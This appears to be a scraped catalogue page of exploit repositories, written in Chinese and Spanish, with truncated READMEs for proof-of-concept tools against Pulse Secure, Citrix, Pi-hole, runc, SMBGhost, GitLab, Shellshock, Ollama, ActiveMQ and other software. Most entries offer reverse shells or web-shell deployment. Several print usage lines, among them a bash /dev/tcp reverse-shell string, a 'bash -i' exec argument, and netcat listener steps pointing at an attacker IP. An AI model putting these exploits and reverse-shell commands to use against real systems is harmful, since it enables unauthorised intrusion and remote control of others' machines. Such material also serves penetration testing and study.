APT-Backpack

APT-Backpack APT常用CVE漏洞、合法RAT及对手使用的其他工具 CVE漏洞 CVE-2019-11510 Pulse Connect Secure 8.2 8.3 9.0 未授权文件读取 CVE-2019-19781 Citrix ADC & Gateway 目录遍历 CVE-2020-5902 F5 Big IP 远程代码执行 CVE-2021-1497 Cisco HyperFlex HX 未授权命令注入 CVE-2021-20090 Buffalo WSR-2533DHP2 WSR-2533DHP3 未授权远程代码执行 CVE-2021-22006 Vmware...

CVE-2020-8816

CVE-2020-8816 一个用于利用CVE-2020-8816（Pi-hole上的远程代码执行漏洞）的Python脚本。 该脚本使用了François Renaud-Philippon发现的技术，对运行着低于4.3.3版本Web界面的Pi-hole实现远程代码执行。漏洞利用要求www-data用户的路径为/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin。 python3 .\CVE-2020-8816.py -h usage: CVE-2020-8816.py -h url passwor...

CVE-2022-46196

CVE-2022-46196 Descripción Este código Python explota una vulnerabilidad de inyección de comandos no autenticada en versiones de Cacti hasta la 1.2.22 inclusive. Utiliza argparse para analizar argumentos de la línea de comandos, requests para obtener el contenido HTML de una instancia objetivo de...

cve-2019-5736-poc

Encabezados a añadir stage2.c bash include bash include Modificar con IP del PC atacante stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Creación de imagen Docker y contenedor $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 Shell Remota Exploit basado en Go para CVE-2025-32433 que devuelve una shell bash remota. Muy inspirado en el entendimiento del exploit derivado del PoC de ProDefense para CVE-2025-32433. Ejecutando el Exploit make exploit.exe también está disponible para máquinas Windows gracias a...

CVE-2024-25832-PoC

CVE-2024-25830 和 CVE-2024-25832 - DataCube3 不当访问控制与无限制文件上传。 概述 本仓库提供了一个针对 DataCube3 设备的两步利用链概念验证（PoC）。它结合了 CVE-2024-25830（不当访问控制）来提取 root 密码，以及 CVE-2024-25832（无限制文件上传）来部署反向 Shell 脚本。该 PoC 补充了博文“DataCube3 漏洞报告”中的详细漏洞分析。 受影响版本 所有 F-logic DataCube3 设备版本 1.0。 PoC 脚本用法 Usage: python datacube3.py --RHO...

cve-2015-1538-1

POR FAVOR, NO COMPARTAS ESTO CON NADIE. ESTE CÓDIGO SE TE PROPORCIONA BAJO FrienNDA. LAS PERSONAS QUE VIOLEN ESTO YA NO SERÁN CONSIDERADAS AMIGOS. Se incluye un script de Python que genera un MP4 explotando la vulnerabilidad ‘stsc’ también conocida como CVE-2015-1538 1. Esta es una de las...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 自动化利用与检测 该 Python 程序是对 RCE SMBGhost 漏洞的封装。漏洞利用部分的所有荣誉归功于 chompie1337。扫描器的所有荣誉归功于 ioncodes。 我只是将这些功能自动化到一个程序中。在生成反向 shell 时，你需要考虑 Windows 目标的架构。 该利用 不稳定 ，请自行承担风险。有时第一次不成功，所以我加入了第二次重试。 如果你要放入自己的 shellcode，请注意 shellcode 的最大大小为 600 字节 。 已在 Windows 10 x64（Microsoft Windows 版本...

CVE-2025-69212-Exploit

CVE-2025-69212 - Exploit de inyección de comandos en OpenSTAManager P7M Un script de exploit totalmente automatizado para CVE-2025-69212 , una vulnerabilidad de inyección de comandos en OpenSTAManager. Este script se autentica con credenciales de administrador, implementa un shell web PHP malicio...

CVE-2022-22965

CVE-2022-22965 Poc&Exp,支持批量扫描 使用 -a string 反弹监听地址 -b 是否显示banner default true -c string 命令 default "ls" -p int 反弹监听端口 -poc 是否只进行poc扫描,默认只扫poc default true -r 是否反弹shell default false -t int 超时时间 default 20 -u string 目标单个ip或txt文件 default "http://127.0.0.1:8080" -w int 工人数量 default 10 单个ip扫描...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool 漏洞利用 - 任意代码执行 漏洞利用说明 使用此漏洞利用工具可生成一个JPEG图片载荷，该载荷可用于存在漏洞的ExifTool版本，实现代码执行。可提供自定义命令，或生成一个反弹shell。工具会自动生成一个JPEG图片，也可以选择提供自定义的JPEG图片，将载荷插入其中。...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE RCE 漏洞利用工具，支持多种反弹 shell。 CVE-2018-19571：https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585：https://nvd.nist.gov/vuln/detail/CVE-2018-19585 本版本基于 Sam Redmond 和 Tam Lai Yin 的版本进行修改，用于学习和练习。 使用方法 本工具用 python3 编写，符合宇宙真理。 依赖： pip3 install requests 使用：...

cve-2010-4221

cve-2010-4221 Este exploit fue escrito para estudiar algunos conceptos, ¡disfrútalo! Uso Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format Solo ingresa la IP del...

CVE-2014-6271

CVE-2014-6271 python2.7 Comienza a escuchar en tu máquina. nc -l -p 4444 Ejecuta el script de Python según la siguiente regla: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Disfruta...

Confluence-RCE

Usage: python3 mian.py 检测 命令执行 反弹shell 支持socks5和http代理 仅用于交流和学习...

CVE-2022-36804-PoC

CVE-2022-36804-PoC Script de explotación multihilo para CVE-2022-36804 que afecta a la mayoría de las versiones de BitBucket 8.3.1 Consulte el aviso completo aquí https://jira.atlassian.com/browse/BSERV-13438 Todo el crédito para TheGrandPew por el descubrimiento El script detectará automáticamen...

CVE-2022-36553-PoC

CVE-2022-36553 - Inyección Remota de Comandos no Autenticada en Hytec Inter HWL-2511-SS. Resumen Este repositorio contiene un script de shell reversa PoC para explotar CVE-2022-36553, una vulnerabilidad crítica en dispositivos Hytec Inter HWL-2511-SS. El script es una demostración práctica que...

CVE-2020-9484

CVE-2020-9484 Haga clic en la imagen para ver el video Uso Hágalo ejecutable chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 y CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Debe ejecutarse en Linux, el entorno necesita tener gcc. Instale golang y ejecute el siguiente comando para obtener una shell reversa: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2023-46604

CVE-2023-46604 Construir docker-compose que contenga 2 imágenes: la máquina víctima y la máquina objetivo según el entorno requerido En la máquina víctima, iniciar ActiveMQ Cambiar a la máquina atacante: • Abrir el servicio HTTP para enviar el PoC: python3 -m http.server • Usar netcat para escuch...